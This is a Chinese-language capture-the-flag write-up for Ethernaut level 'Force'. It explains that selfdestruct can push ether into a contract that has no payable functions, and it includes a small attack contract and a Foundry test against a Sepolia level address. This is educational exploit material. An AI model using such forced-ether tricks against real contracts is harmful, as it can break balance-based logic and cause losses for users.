# Ethernaut CTF Level 7 - Force ## 題目 有些合約就是不想要收你的錢錢 ¯\_(ツ)_/¯ 這一關的目標是使合約的餘額大於 0 可能會有用的資訊 * fallback 方法 * 有時候攻擊一個合約最好的方法是使用另一個合約 ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Force {/* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */} ``` <br> ## 分析 這是一份空的合約,裡面沒有任何能接收ether的函數 - receive - fallback 乍看之下完全無法接受ether 但是在Solidity中有一種函數叫做自我毀滅函數 在毀滅這個合約的同時,會把剩餘的balance傳到指定address ```solidity selfdestruct(addr); ``` <br> ## 攻擊 寫一個selfdestruct()函數即可 Deploy並且執行attack function ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Force { constructor() { } function attack() public payable { address payable addr = payable(address(0x12345678)); selfdestruct(addr); } } ``` <br> ## Foundry Test ```solidity= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "forge-std/Vm.sol"; import "../src/levels/07-Force/Force.sol"; contract ContractTest is Test { Force level7 = Force(payable(0x9eD3Ea280180512155d7c584a735D1bB185B3103)); function setUp() public { Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); vm.createSelectFork(vm.rpcUrl("sepolia")); vm.label(address(this), "Attacker"); vm.label( address(0x9eD3Ea280180512155d7c584a735D1bB185B3103), "Ethernaut07" ); } function testEthernaut07() public { assertEq( address(0x9eD3Ea280180512155d7c584a735D1bB185B3103).balance, 0 ); selfdestruct( payable(address(0x9eD3Ea280180512155d7c584a735D1bB185B3103)) ); } receive() external payable {} } ``` <br> ## 補充 From Ethernaut 在 Solidity 中,如果一個合約要能夠接收 ether,它的 fallback 方法必須設為 payable。 然而,並沒有什麽辦法可以阻止攻擊者透過自毀的方式,向合約發送 ether,所以,不要將任何合約邏輯建立在 address(this).balance == 0 之上。